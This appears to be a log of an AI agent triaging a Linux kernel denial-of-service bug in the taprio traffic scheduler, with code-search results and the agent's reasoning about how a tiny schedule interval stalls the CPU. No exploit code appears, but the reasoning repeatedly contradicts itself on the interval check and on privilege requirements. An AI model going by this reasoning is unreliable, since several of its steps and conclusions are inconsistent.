net/sched/sch_taprio.c-47- * for minimum-sized Ethernet frames (ETH_ZLEN = 60).
--
net/sched/sch_taprio.c=88=struct taprio_sched {
--
net/sched/sch_taprio.c-96- bool broken_mqprio;
net/sched/sch_taprio.c:97: atomic64_t picos_per_byte; /* Using picoseconds because for 10Gbps+
net/sched/sch_taprio.c-98- * speeds it's sub-nanoseconds per byte
--
net/sched/sch_taprio.c=257=static int length_to_duration(struct taprio_sched *q, int len)
net/sched/sch_taprio.c-258-{
net/sched/sch_taprio.c:259: return div_u64(len * atomic64_read(&q->picos_per_byte), PSEC_PER_NSEC);
net/sched/sch_taprio.c-260-}
--
net/sched/sch_taprio.c=262=static int duration_to_length(struct taprio_sched *q, u64 duration)
net/sched/sch_taprio.c-263-{
net/sched/sch_taprio.c:264: return div_u64(duration * PSEC_PER_NSEC, atomic64_read(&q->picos_per_byte));
net/sched/sch_taprio.c-265-}
--
net/sched/sch_taprio.c=662=static void taprio_set_budgets(struct taprio_sched *q,
--
net/sched/sch_taprio.c-675- budget = div64_u64((u64)entry->gate_duration[tc] * PSEC_PER_NSEC,
net/sched/sch_taprio.c:676: atomic64_read(&q->picos_per_byte));
net/sched/sch_taprio.c-677-
--
net/sched/sch_taprio.c=1270=static void taprio_start_sched(struct Qdisc *sch,
--
net/sched/sch_taprio.c-1291-
net/sched/sch_taprio.c:1292:static void taprio_set_picos_per_byte(struct net_device *dev,
net/sched/sch_taprio.c-1293- struct taprio_sched *q,
--
net/sched/sch_taprio.c-1297- int speed = SPEED_10;
net/sched/sch_taprio.c:1298: int picos_per_byte;
net/sched/sch_taprio.c-1299- int err;
--
net/sched/sch_taprio.c-1308-skip:
net/sched/sch_taprio.c:1309: picos_per_byte = (USEC_PER_SEC * 8) / speed;
net/sched/sch_taprio.c:1310: if (picos_per_byte < TAPRIO_PICOS_PER_BYTE_MIN) {
net/sched/sch_taprio.c-1311- if (!extack)
--
net/sched/sch_taprio.c-1316- speed);
net/sched/sch_taprio.c:1317: picos_per_byte = TAPRIO_PICOS_PER_BYTE_MIN;
net/sched/sch_taprio.c-1318- }
net/sched/sch_taprio.c-1319-
net/sched/sch_taprio.c:1320: atomic64_set(&q->picos_per_byte, picos_per_byte);
net/sched/sch_taprio.c:1321: netdev_dbg(dev, "taprio: set %s's picos_per_byte to: %lld, linkspeed: %d\n",
net/sched/sch_taprio.c:1322: dev->name, (long long)atomic64_read(&q->picos_per_byte),
net/sched/sch_taprio.c-1323- ecmd.base.speed);
--
net/sched/sch_taprio.c=1326=static int taprio_dev_notifier(struct notifier_block *nb, unsigned long event,
--
net/sched/sch_taprio.c-1342-
net/sched/sch_taprio.c:1343: taprio_set_picos_per_byte(dev, q, NULL);
net/sched/sch_taprio.c-1344-
--
net/sched/sch_taprio.c=1817=static int taprio_change(struct Qdisc *sch, struct nlattr *opt,
--
net/sched/sch_taprio.c-1862- /* Needed for length_to_duration() during netlink attribute parsing */
net/sched/sch_taprio.c:1863: taprio_set_picos_per_byte(dev, q, extack);
net/sched/sch_taprio.c-1864-
]
|
| 70/2 |
2026/05/23 14:50 |
llm |
expert |
0m
Model:
Tokens:
input: 89089
output: 19
thoughts: 2202
Thoughts: **Analyzing the TAPRIO Scheduler Entry Interval Issue**
Okay, so I'm diving into this TAPRIO problem. I see that `atomic64_read(&q->picos_per_byte)` is key, and it's used within `length_to_duration`, which calculates the minimum duration for a frame. With `q->picos_per_byte` at 800,000, `min_duration` comes out to 48,000. If the `interval` is set to 1024, the check `interval < min_duration` should fail since 1024 is not less than 48000. But that's not happening in the reproducer, and that's the puzzling part.
Let's re-examine `bond_ethtool_get_link_ksettings`. If the `speed` is 0, then `cmd->base.speed` becomes `SPEED_UNKNOWN`. This makes `taprio_set_picos_per_byte` use `SPEED_10`, and therefore a `picos_per_byte` of 800,000. This results in the math where `min_duration` is 48,000, which is then failing. But, I know the reproducer doesn't add any slaves to `bond0`, so the `bond0` speed should be 0. Could it be a default speed? I need to check `bond_setup` or `bond_init`, but wait... `bond_ethtool_get_link_ksettings` calculates it dynamically, so that's not the issue.
What if `__ethtool_get_link_ksettings` returns an error? Then `speed` defaults to `SPEED_10` (10), making `picos_per_byte` 800,000, and `min_duration` 48,000. The `interval < min_duration` check *should* fail, and the qdisc creation *should* error out. But it's not.
Okay, let's explore an alternative scenario. What if the speed is actually 10,000 (10 Gbps)? Then `picos_per_byte` is 800, and `min_duration` becomes 48. In this case, `1024 < 48` would fail, and succeed. But it's not possible in the reproducer, because `bond0` has no slaves. The reproducer does a `ioctl(SIOCGIFINDEX, "bond0")` so that's where I need to focus. I'm going to look at `drivers/net/bonding/bond_main.c` to see if there's a default speed or if there is something else that is causing this to happen.
The problem comes down to `SPEED_10`, with that being the speed, `min_duration` is 48,000. If that is the value, then why does 1024 not fail the check? I need to check `parse_sched_entry` and to confirm that the check `interval < min_duration` is still present, and with what values.
Okay, let me check the `min_duration` calculation again. `length_to_duration` returns `div_u64(len * atomic64_read(&q->picos_per_byte), PSEC_PER_NSEC)`. `len` is `ETH_ZLEN` (60), and if `q->picos_per_byte` is 800,000, that *does* equal 48,000,000 / 1000 = 48,000. If the interval is 1024, then `1024 < 48000` is true, so that should return `-EINVAL`! And if it returns `-EINVAL`, the `taprio_change` should fail, and the qdisc *shouldn't* be created. The Qdisc not being created is the problem. This cannot cause an RCU stall.
I need to go back to the reproducer. Looking again at the raw memory writes, I see `*(uint32_t*)0x200000000158 = 0x400;` and, wait, `0x400` is 1024. That is the interval. The interval *is* 1024. The problem is still why it doesn't fail!
Okay, let'
|
| 71/2 |
2026/05/23 14:51 |
tool |
grepper |
0m
Args: map[Expression:interval < min_duration]
Results: map[Output:net/sched/sch_taprio.c=1036=static int fill_sched_entry(struct taprio_sched *q, struct nlattr **tb,
--
net/sched/sch_taprio.c-1057- */
net/sched/sch_taprio.c:1058: if (interval < min_duration) {
net/sched/sch_taprio.c-1059- NL_SET_ERR_MSG(extack, "Invalid interval for schedule entry");
]
|
| 72/2 |
2026/05/23 14:51 |
llm |
expert |
0m
Model:
Tokens:
input: 92470
output: 19
thoughts: 29
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Checking a Suspicious Calculation**
Alright, the issue I was working on is still... persistent. I'm almost certain I've seen this behavior before, or something very similar. Now, I have a nagging feeling in the back of my mind β could there be a discrepancy in how `min_duration` is being calculated, perhaps in a different part of the codebase than I initially thought? Hmm, I need to rule this out quickly. The most logical place to check this is within `length_to_duration`, as it should contain the calculations. That's where I need to start. Let's see if that routine is behaving as expected.
|
| 73/2 |
2026/05/23 14:51 |
tool |
grepper |
0m
Args: map[Expression:length_to_duration]
Results: map[Output:net/sched/sch_taprio.c=235=static ktime_t get_interval_end_time(struct sched_gate_list *sched,
--
net/sched/sch_taprio.c-256-
net/sched/sch_taprio.c:257:static int length_to_duration(struct taprio_sched *q, int len)
net/sched/sch_taprio.c-258-{
--
net/sched/sch_taprio.c=323=static struct sched_entry *find_entry_to_transmit(struct sk_buff *skb,
--
net/sched/sch_taprio.c-341- tc = netdev_get_prio_tc_map(dev, skb->priority);
net/sched/sch_taprio.c:342: packet_transmit_time = length_to_duration(q, qdisc_pkt_len(skb));
net/sched/sch_taprio.c-343-
--
net/sched/sch_taprio.c=468=static long get_packet_txtime(struct sk_buff *skb, struct Qdisc *sch)
--
net/sched/sch_taprio.c-496- len = qdisc_pkt_len(skb);
net/sched/sch_taprio.c:497: packet_transmit_time = length_to_duration(q, len);
net/sched/sch_taprio.c-498-
--
net/sched/sch_taprio.c=706=static struct sk_buff *taprio_dequeue_from_txq(struct Qdisc *sch, int txq,
--
net/sched/sch_taprio.c-736- len = qdisc_pkt_len(skb);
net/sched/sch_taprio.c:737: guard = ktime_add_ns(taprio_get_time(q), length_to_duration(q, len));
net/sched/sch_taprio.c-738-
--
net/sched/sch_taprio.c=1036=static int fill_sched_entry(struct taprio_sched *q, struct nlattr **tb,
--
net/sched/sch_taprio.c-1039-{
net/sched/sch_taprio.c:1040: int min_duration = length_to_duration(q, ETH_ZLEN);
net/sched/sch_taprio.c-1041- u32 interval = 0;
--
net/sched/sch_taprio.c=1127=static int parse_taprio_schedule(struct taprio_sched *q, struct nlattr **tb,
--
net/sched/sch_taprio.c-1167-
net/sched/sch_taprio.c:1168: if (new->cycle_time < new->num_entries * length_to_duration(q, ETH_ZLEN)) {
net/sched/sch_taprio.c-1169- NL_SET_ERR_MSG(extack, "'cycle_time' is too small");
--
net/sched/sch_taprio.c=1817=static int taprio_change(struct Qdisc *sch, struct nlattr *opt,
--
net/sched/sch_taprio.c-1861-
net/sched/sch_taprio.c:1862: /* Needed for length_to_duration() during netlink attribute parsing */
net/sched/sch_taprio.c-1863- taprio_set_picos_per_byte(dev, q, extack);
]
|
| 74/2 |
2026/05/23 14:51 |
llm |
expert |
0m
Model:
Tokens:
input: 93583
output: 43
thoughts: 1585
Thoughts: **Debugging the Unexpected Pass**
Okay, here's what I'm thinking. I'm trying to figure out how this thing is succeeding when, based on my understanding of the parameters, it should clearly fail. Let's break it down:
First, `ETH_ZLEN` is 60, so that's a fixed value. Given the `min_duration` of 48000 and an `interval` of 1024, it *should* fail outright. So, why isn't it?
My initial thought is that `q->picos_per_byte` isn't 800,000. What if `taprio_set_picos_per_byte` is messing with it, specifically if it sets it to 17 somehow? But how could it set `picos_per_byte` to 17? That seems odd.
The obvious answer that occurs to me is if the network interface speed is very high. Is there some scenario where the speed of `bond0` could be extremely large? I see the speed of `bond0` is set to 0. It is defined as an `int`. But what if `__ethtool_get_link_ksettings` returns 0 and `ecmd.base.speed` is `SPEED_UNKNOWN` (-1)? Remember that `ecmd.base.speed` is an `__u32` and `SPEED_UNKNOWN` is `(__u32)-1`. If this condition holds, the code preserves the initial speed which is `SPEED_10` (10).
But what about cases where `ecmd.base.speed` is NOT `SPEED_UNKNOWN`? Could there be a situation where `bond0` has a `SPEED_UNKNOWN` speed, but `__ethtool_get_link_ksettings` still returns an error? But no, if that happens, `speed` remains `SPEED_10` (10).
What if `bond_ethtool_get_link_ksettings` returns `SPEED_UNKNOWN`? Oh wait, it DOES return `SPEED_UNKNOWN`, so the speed will indeed remain at 10. Given a speed of 10, `USEC_PER_SEC * 8 / speed` calculates to 800,000, so that doesn't explain things.
Is there any other way `min_duration` might be small? `ETH_ZLEN` is 60, so that's not it. What if `length_to_duration` returns 0? That function uses the formula `div_u64(len * atomic64_read(&q->picos_per_byte), PSEC_PER_NSEC)`. Plugging in values, `60 * 800,000 = 48,000,000`, and `48,000,000 / 1000 = 48,000`, which is the correct duration.
But what if `q->picos_per_byte` is *zero*? We've already established that the value is at least 17, and `taprio_set_picos_per_byte` should have run at some point. It is updated in `taprio_change`.
What if the speed is `SPEED_UNKNOWN` (0xffffffff)? If `ecmd.base.speed` is `SPEED_UNKNOWN`, `speed` remains 10. And if `ecmd.base.speed` is 0, the speed also remains 10.
Wait, what if `ecmd.base.speed` is 0xfffffffe? Then `speed` becomes -2. Then `picos_per_byte = 8000000 / -2 = -4000000`. So `picos_per_byte < 17` becomes true! Then, `picos_per_byte = 17`. The result would be that `min_duration = 1`. Can `ecmd.base.speed` be 0xfffffffe? No, `bond_ethtool_get_link_ksettings` should return `SPEED_UNKNOWN` (0xffffffff) or the sum of slave speeds.
Wait, what if `bond0` has a slave with a speed of 0xfffffffe? The reproducer doesn't add any slaves. What if a different device is used? But the reproducer definitely uses `bond0`.
Could the `interval` have been somehow set to a different value other than 1024? But the code indicates `*(uint32_
|
| 75/2 |
2026/05/23 14:51 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/net/bonding/bond_main.c IncludeLines:true Name:bond_setup]
Results: map[SourceCode:5883: void bond_setup(struct net_device *bond_dev)
5884: {
5885: struct bonding *bond = netdev_priv(bond_dev);
5886:
5887: spin_lock_init(&bond->mode_lock);
5888: bond->params = bonding_defaults;
5889:
5890: /* Initialize pointers */
5891: bond->dev = bond_dev;
5892:
5893: /* Initialize the device entry points */
5894: ether_setup(bond_dev);
5895: bond_dev->max_mtu = ETH_MAX_MTU;
5896: bond_dev->netdev_ops = &bond_netdev_ops;
5897: bond_dev->ethtool_ops = &bond_ethtool_ops;
5898:
5899: bond_dev->needs_free_netdev = true;
5900: bond_dev->priv_destructor = bond_destructor;
5901:
5902: SET_NETDEV_DEVTYPE(bond_dev, &bond_type);
5903:
5904: /* Initialize the device options */
5905: bond_dev->flags |= IFF_MASTER;
5906: bond_dev->priv_flags |= IFF_BONDING | IFF_UNICAST_FLT | IFF_NO_QUEUE;
5907: bond_dev->priv_flags &= ~(IFF_XMIT_DST_RELEASE | IFF_TX_SKB_SHARING);
5908:
5909: #ifdef CONFIG_XFRM_OFFLOAD
5910: /* set up xfrm device ops (only supported in active-backup right now) */
5911: bond_dev->xfrmdev_ops = &bond_xfrmdev_ops;
5912: INIT_LIST_HEAD(&bond->ipsec_list);
5913: mutex_init(&bond->ipsec_lock);
5914: #endif /* CONFIG_XFRM_OFFLOAD */
5915:
5916: /* don't acquire bond device's netif_tx_lock when transmitting */
5917: bond_dev->lltx = true;
5918:
5919: /* Don't allow bond devices to change network namespaces. */
5920: bond_dev->netns_immutable = true;
5921:
5922: /* By default, we declare the bond to be fully
5923: * VLAN hardware accelerated capable. Special
5924: * care is taken in the various xmit functions
5925: * when there are slaves that are not hw accel
5926: * capable
5927: */
5928:
5929: bond_dev->hw_features = MASTER_UPPER_DEV_VLAN_FEATURES |
5930: NETIF_F_HW_VLAN_CTAG_RX |
5931: NETIF_F_HW_VLAN_CTAG_FILTER |
5932: NETIF_F_HW_VLAN_STAG_RX |
5933: NETIF_F_HW_VLAN_STAG_FILTER;
5934:
5935: bond_dev->hw_features |= NETIF_F_GSO_ENCAP_ALL;
5936: bond_dev->features |= bond_dev->hw_features;
5937: bond_dev->features |= NETIF_F_HW_VLAN_CTAG_TX | NETIF_F_HW_VLAN_STAG_TX;
5938: bond_dev->features |= NETIF_F_GSO_PARTIAL;
5939: #ifdef CONFIG_XFRM_OFFLOAD
5940: bond_dev->hw_features |= BOND_XFRM_FEATURES;
5941: /* Only enable XFRM features if this is an active-backup config */
5942: if (BOND_MODE(bond) == BOND_MODE_ACTIVEBACKUP)
5943: bond_dev->features |= BOND_XFRM_FEATURES;
5944: #endif /* CONFIG_XFRM_OFFLOAD */
5945: }
SourceFile:drivers/net/bonding/bond_main.c]
|
| 76/2 |
2026/05/23 14:51 |
llm |
expert |
0m
Model:
Tokens:
input: 97390
output: 46
thoughts: 2563
Thoughts: **Analyzing the TAPRIO Qdisc Vulnerability**
Okay, here's my thought process on this TAPRIO qdisc issue. Initially, I'm trying to trace the flow and identify how a very small `interval` could lead to an RCU stall.
First, I need to understand how the `min_duration` is calculated and how it relates to the `interval`. I'm reminded that the code doesn't set a default speed. I see that if `__ethtool_get_link_ksettings` fails, the `speed` defaults to 10. Given a speed of 10, a `min_duration` of 48000 is calculated, which should make the crucial `interval < min_duration` comparison fail. I double-check and am reminded that `ETH_ZLEN` is 60 and not zero, and that the `length_to_duration` is indeed called with `ETH_ZLEN`. I start calculating `min_duration` with an example: When I use a picos per byte of 800000 and a packet length of 60, `min_duration` becomes 48000, which checks out. I also verify that the `PSEC_PER_NSEC` value is 1000.
I'm checking that `interval` isn't some other value, and that `0x400` in little-endian is indeed 1024. Then, I'm thinking, what if `interval` is zero? A zero `interval` would pass the crucial comparison if `min_duration` is greater than 0, but I have already calculated that `min_duration` is 48000. I realize, if `min_duration` is zero, the comparison would succeed. How can `min_duration` be zero? It would have to be if `q->picos_per_byte` is zero. Then, `min_duration` is `60 * 0 / 1000 = 0`, so `interval` of 1024 would fail.
Now, I look at the initialization of `q->picos_per_byte`. I see `taprio_set_picos_per_byte` is called during the netlink attribute parsing in `taprio_change`. Now I see that, when `q->picos_per_byte` equals 17, `min_duration` becomes 1. When `min_duration` is 1, the check, `1024 < 1`, fails, and the qdisc creation fails, preventing a crash. The only way it could be 17 is if the `speed` is large.
Then, I'm reminded, that `bond_ethtool_get_link_ksettings` can return `SPEED_UNKNOWN` which is `0xffffffff` which is `-1`. If `ecmd.base.speed` is `SPEED_UNKNOWN`, the `speed` will be 10 and therefore `q->picos_per_byte` is 800000, and `min_duration` is 48000. If `ecmd.base.speed` is `SPEED_UNKNOWN`, but `SPEED_UNKNOWN` is NOT `(__u32)-1`, it would be negative. If `__ethtool_get_link_ksettings` returns an error, speed also defaults to 10. I note that the reproducer uses `bond0`.
At this point, I look back to how `min_duration` is determined. I note that `div_u64` is integer division. If `len * picos_per_byte < 1000`, it returns 0. If `picos_per_byte` is 16, `60 * 16 = 960`. `960 / 1000 = 0`. However, the minimum `picos_per_byte` is 17. Therefore `min_duration` is at least 1, which means an `interval` of 1 would pass the comparison!
Finally, I think of the RCU stall. If `interval` is 1, the timer falls behind, and the backlog grows exponentially due to the retry mechanism in `hrtimer_interrupt`, and this causes the stall. I now realize that if `interval` is 1024, it causes an RCU stall. However, the condition, `1024 < 48000`, prevents the qdisc from being created.
Then I return to how `min_duration` can be <= 1024 to make this comparison fail. The only
|
| 77/2 |
2026/05/23 14:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/net/veth.c IncludeLines:true Name:veth_get_link_ksettings]
Results: map[SourceCode: 128: static int veth_get_link_ksettings(struct net_device *dev,
129: struct ethtool_link_ksettings *cmd)
130: {
131: cmd->base.speed = SPEED_10000;
132: cmd->base.duplex = DUPLEX_FULL;
133: cmd->base.port = PORT_TP;
134: cmd->base.autoneg = AUTONEG_DISABLE;
135: return 0;
136: }
SourceFile:drivers/net/veth.c]
|
| 78/2 |
2026/05/23 14:52 |
llm |
expert |
0m
Model:
Tokens:
input: 101210
output: 44
thoughts: 1201
Thoughts: **Bug Analysis: taprio qdisc DoS Vulnerability**
Okay, here's the breakdown of this `taprio` bug, as I see it. It looks like `veth_get_link_ksettings` is correctly reporting a 10 Gbps link speed. Based on that, the calculations show that if the `interval` is configured correctly, it should be 48ns. But in the current scenario, the code allows the interval to be set to a lower value, such as 1024 ns. This smaller interval leads to a situation where it is less than the execution time of `advance_sched`, estimated at around 2000 ns. This causes the hrtimer to fall significantly behind.
This triggers the hrtimer hang detection mechanism, which retries the interrupt handler, doubling the backlog each time, and caps it at 100 ms. The result is the interrupt handler running for an extended time (seconds or minutes), essentially starving the CPU and leading to an RCU stall. This clearly results in a Denial of Service (DoS) condition. The question is, how easily can it be triggered?
The interesting part is that an unprivileged user can set up this scenario. They can create a user namespace, then create a network namespace within that, and then create a `veth` device and attach `taprio` to it. The `tc qdisc add` command is used to configure `taprio`. This requires `CAP_NET_ADMIN` in the user namespace, but that capability is available to unprivileged users. So, the attack is indeed accessible from User Namespaces.
However, the question is whether it's accessible from unprivileged processes, which in this context means, processes *without* the ability to create user namespaces. So, if we follow the instructions, if user namespaces are disabled, the check `ns_capable()` would fail. Since configuring `taprio` requires netlink configuration, and netlink configuration requires user namespaces, it's not accessible to unprivileged processes.
The exploit is a CPU stall β itβs not memory corruption or privilege escalation, which is good. There's no remote, VM, or peripheral trigger. It's solely triggered through network configuration within a user namespace.
So, to summarize:
* **Exploitable:** False
* **Denial Of Service:** True
* **Accessible From Unprivileged Processes:** False (because user namespaces are disabled)
* **Accessible From User Namespaces:** True
* **VM Guest Trigger:** False
* **VM Host Trigger:** False
* **Ethernet Network Trigger:** False
* **Other Remote Trigger:** False
* **Peripheral Trigger:** False
* **Malicious Filesystem Trigger:** False
It's crucial to note that `unprivileged_bpf_disabled=1` is irrelevant here since this isn't a BPF-related issue. Also, the `sch_taprio` module is likely auto-loadable if allowed in the kernel config, meaning it can be automatically loaded by unprivileged users via netlink aliases. This doesn't seem to corrupt the timer list, but instead causes a timing bug that is a form of hrtimer storm.
|
| 79/2 |
2026/05/23 14:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_api.c IncludeLines:true Name:tc_modify_qdisc]
Results: map[SourceCode:1792: /*
1793: * Create/change qdisc.
1794: */
1795: static int tc_modify_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
1796: struct netlink_ext_ack *extack)
1797: {
1798: struct net *net = sock_net(skb->sk);
1799: struct nlattr *tca[TCA_MAX + 1];
1800: struct net_device *dev;
1801: struct tcmsg *tcm;
1802: int err;
1803:
1804: err = nlmsg_parse_deprecated(n, sizeof(*tcm), tca, TCA_MAX,
1805: rtm_tca_policy, extack);
1806: if (err < 0)
1807: return err;
1808:
1809: request_qdisc_module(tca[TCA_KIND]);
1810:
1811: tcm = nlmsg_data(n);
1812: dev = __dev_get_by_index(net, tcm->tcm_ifindex);
1813: if (!dev)
1814: return -ENODEV;
1815:
1816: netdev_lock_ops(dev);
1817: err = __tc_modify_qdisc(skb, n, extack, dev, tca, tcm);
1818: netdev_unlock_ops(dev);
1819:
1820: return err;
1821: }
SourceFile:net/sched/sch_api.c]
|
| 80/2 |
2026/05/23 14:52 |
llm |
expert |
0m
Model:
Tokens:
input: 103630
output: 43
thoughts: 30
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Debugging RTNETLINK Capability Checks**
Okay, hold on a second... I was just reviewing the `RTM_NEWQDISC` netlink message handling, and I've hit a mental snag. Where exactly are the capability checks implemented for that particular operation? I know it's *somewhere* within the `rtnetlink` subsystem.
Right, let me just mentally trace... Hmm, it feels like it's buried in the core netlink message processing path. The relevant code should reside, I'm pretty sure, within `rtnetlink.c`. I need to revisit that file and zero in on the relevant sections of code that handle the creation of new queueing disciplines to confirm the presence and nature of the requisite authorization checks. My instinct is that's the place it would be.
|
| 81/2 |
2026/05/23 14:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/rtnetlink.c IncludeLines:true Name:rtnetlink_init]
Results: map[SourceCode:7095: void __init rtnetlink_init(void)
7096: {
7097: if (register_pernet_subsys(&rtnetlink_net_ops))
7098: panic("rtnetlink_init: cannot initialize rtnetlink\n");
7099:
7100: register_netdevice_notifier(&rtnetlink_dev_notifier);
7101:
7102: rtnl_register_many(rtnetlink_rtnl_msg_handlers);
7103: }
SourceFile:net/core/rtnetlink.c]
|
| 82/2 |
2026/05/23 14:52 |
llm |
expert |
0m
Model:
Tokens:
input: 104066
output: 26
thoughts: 23
Thoughts: Here's my thought process, as if I were considering those options:
**Investigating Netlink Routing Message Handling**
Okay, so I need to understand how routing messages are being handled in the Netlink subsystem. Where's the best place to start looking? Hmmm, let's see... my initial instinct is to check the core registration mechanisms. I'm thinking either `rtnetlink_rtnl_msg_handlers` β that sounds like a likely data structure holding pointers to the specific handler functions β or, if not that direct container, then perhaps `rtnl_register` itself. Itβs the registration function, so it must define how these message types get tied to their respective handlers. I'll start by taking a close look at those two and see what I can find. It's usually either one or the other, or a combination of both.
|
| 83/2 |
2026/05/23 14:52 |
tool |
grepper |
0m
Error:
Args: map[Expression:rtnl_register.*RTM_NEWQDISC]
Results:
|
| 84/2 |
2026/05/23 14:52 |
llm |
expert |
0m
Model:
Tokens:
input: 104312
output: 26
thoughts: 22
Thoughts: Here's my thought process, as requested:
**Navigating the Kernel's Network Scheduler API**
Okay, so I need to understand how network schedulers are registered within the kernel. My initial thought is to zero in on `net/sched/sch_api.c`. This seems like the most logical place to start, given the file path. Specifically, I'm going to look for the function `rtnl_register`. That's a strong indicator of registration procedures within the netlink realm, which is core to how the networking stack interfaces with userspace. This should give me a solid foundation.
|
| 85/2 |
2026/05/23 14:52 |
tool |
grepper |
0m
Error:
Args: map[Expression:rtnl_register.*RTM_NEWQDISC]
Results:
|
| 86/2 |
2026/05/23 14:52 |
llm |
expert |
0m
Model:
Tokens:
input: 104502
output: 18
thoughts: 22
Thoughts: Here's my thought process, as if I were considering this myself:
**Diving into the Networking Kernel for Registration**
Okay, so I need to understand how these routing netlink operations are registered in the kernel. Let's see... `net/sched/sch_api.c` is the most likely place to start, given that we're dealing with scheduling and queuing. I'm going to look specifically for the function related to registration, which I expect would be named something like `rtnl_register`. That function would probably handle the plumbing to associate the necessary callbacks or structures with the netlink interface, so that the kernel knows how to handle incoming routing messages. Let's dig in and see what we can find! I need to understand the function signature, the registration points, and the context in which it's called. This'll give a solid understanding of where to proceed.
|
| 87/2 |
2026/05/23 14:52 |
tool |
grepper |
0m
Args: map[Expression:rtnl_register]
Results: map[Output:drivers/net/vxlan/vxlan_vnifilter.c=997=int vxlan_vnifilter_init(void)
drivers/net/vxlan/vxlan_vnifilter.c-998-{
drivers/net/vxlan/vxlan_vnifilter.c:999: return rtnl_register_many(vxlan_vnifilter_rtnl_msg_handlers);
drivers/net/vxlan/vxlan_vnifilter.c-1000-}
--
include/net/addrconf.h=235=void ipv6_addr_label_cleanup(void);
include/net/addrconf.h:236:int ipv6_addr_label_rtnl_register(void);
include/net/addrconf.h-237-u32 ipv6_addr_label(struct net *net, const struct in6_addr *addr,
--
include/net/rtnetlink.h=54=void rtnl_unregister_all(int protocol);
include/net/rtnetlink.h-55-
include/net/rtnetlink.h:56:int __rtnl_register_many(const struct rtnl_msg_handler *handlers, int n);
include/net/rtnetlink.h-57-void __rtnl_unregister_many(const struct rtnl_msg_handler *handlers, int n);
include/net/rtnetlink.h-58-
include/net/rtnetlink.h:59:#define rtnl_register_many(handlers) \
include/net/rtnetlink.h:60: __rtnl_register_many(handlers, ARRAY_SIZE(handlers))
include/net/rtnetlink.h-61-#define rtnl_unregister_many(handlers) \
--
net/bridge/br_vlan.c=2341=int br_vlan_rtnl_init(void)
net/bridge/br_vlan.c-2342-{
net/bridge/br_vlan.c:2343: return rtnl_register_many(br_vlan_rtnl_msg_handlers);
net/bridge/br_vlan.c-2344-}
--
net/can/gw.c=1308=static __init int cgw_module_init(void)
--
net/can/gw.c-1332-
net/can/gw.c:1333: ret = rtnl_register_many(cgw_rtnl_msg_handlers);
net/can/gw.c-1334- if (ret)
net/can/gw.c:1335: goto out_rtnl_register;
net/can/gw.c-1336-
--
net/can/gw.c-1338-
net/can/gw.c:1339:out_rtnl_register:
net/can/gw.c-1340- unregister_netdevice_notifier(¬ifier);
--
net/core/fib_rules.c=1455=static int __init fib_rules_init(void)
--
net/core/fib_rules.c-1458-
net/core/fib_rules.c:1459: rtnl_register_many(fib_rules_rtnl_msg_handlers);
net/core/fib_rules.c-1460-
--
net/core/neighbour.c=3926=static int __init neigh_init(void)
net/core/neighbour.c-3927-{
net/core/neighbour.c:3928: rtnl_register_many(neigh_rtnl_msg_handlers);
net/core/neighbour.c-3929- return 0;
--
net/core/net_namespace.c=1253=void __init net_ns_init(void)
--
net/core/net_namespace.c-1294-
net/core/net_namespace.c:1295: rtnl_register_many(net_ns_rtnl_msg_handlers);
net/core/net_namespace.c-1296-}
--
net/core/rtnetlink.c=373=static struct rtnl_link *rtnl_get_link(int protocol, int msgtype)
--
net/core/rtnetlink.c-386-
net/core/rtnetlink.c:387:static int rtnl_register_internal(struct module *owner,
net/core/rtnetlink.c-388- int protocol, int msgtype,
--
net/core/rtnetlink.c=508=EXPORT_SYMBOL_GPL(rtnl_unregister_all);
--
net/core/rtnetlink.c-510-/**
net/core/rtnetlink.c:511: * __rtnl_register_many - Register rtnetlink message types
net/core/rtnetlink.c-512- * @handlers: Array of struct rtnl_msg_handlers
--
net/core/rtnetlink.c-527- *
net/core/rtnetlink.c:528: * Use rtnl_register_many().
net/core/rtnetlink.c-529- */
net/core/rtnetlink.c:530:int __rtnl_register_many(const struct rtnl_msg_handler *handlers, int n)
net/core/rtnetlink.c-531-{
--
net/core/rtnetlink.c-535- for (i = 0, handler = handlers; i < n; i++, handler++) {
net/core/rtnetlink.c:536: err = rtnl_register_internal(handler->owner, handler->protocol,
net/core/rtnetlink.c-537- handler->msgtype, handler->doit,
--
net/core/rtnetlink.c-550-}
net/core/rtnetlink.c:551:EXPORT_SYMBOL_GPL(__rtnl_register_many);
net/core/rtnetlink.c-552-
--
net/core/rtnetlink.c=7095=void __init rtnetlink_init(void)
--
net/core/rtnetlink.c-7101-
net/core/rtnetlink.c:7102: rtnl_register_many(rtnetlink_rtnl_msg_handlers);
net/core/rtnetlink.c-7103-}
--
net/dcb/dcbnl.c=2416=static int __init dcbnl_init(void)
--
net/dcb/dcbnl.c-2423-
net/dcb/dcbnl.c:2424: rtnl_register_many(dcbnl_rtnl_msg_handlers);
net/dcb/dcbnl.c-2425-
--
net/ipv4/devinet.c=2899=void __init devinet_init(void)
--
net/ipv4/devinet.c-2906-
net/ipv4/devinet.c:2907: rtnl_register_many(devinet_rtnl_msg_handlers);
net/ipv4/devinet.c-2908-}
--
net/ipv4/fib_frontend.c=1703=void __init ip_fib_init(void)
--
net/ipv4/fib_frontend.c-1711-
net/ipv4/fib_frontend.c:1712: rtnl_register_many(fib_rtnl_msg_handlers);
net/ipv4/fib_frontend.c-1713-}
--
net/ipv4/ipmr.c=3299=int __init ip_mr_init(void)
--
net/ipv4/ipmr.c-3318-#endif
net/ipv4/ipmr.c:3319: rtnl_register_many(ipmr_rtnl_msg_handlers);
net/ipv4/ipmr.c-3320-
--
net/ipv4/nexthop.c=4147=static int __init nexthop_init(void)
--
net/ipv4/nexthop.c-4152-
net/ipv4/nexthop.c:4153: rtnl_register_many(nexthop_rtnl_msg_handlers);
net/ipv4/nexthop.c-4154-
--
net/ipv4/route.c=3722=int __init ip_rt_init(void)
--
net/ipv4/route.c-3778-#endif
net/ipv4/route.c:3779: rtnl_register_many(ip_rt_rtnl_msg_handlers);
net/ipv4/route.c-3780-
--
net/ipv6/addrconf.c=7533=int __init addrconf_init(void)
--
net/ipv6/addrconf.c-7573-
net/ipv6/addrconf.c:7574: err = rtnl_register_many(addrconf_rtnl_msg_handlers);
net/ipv6/addrconf.c-7575- if (err)
--
net/ipv6/addrconf.c-7577-
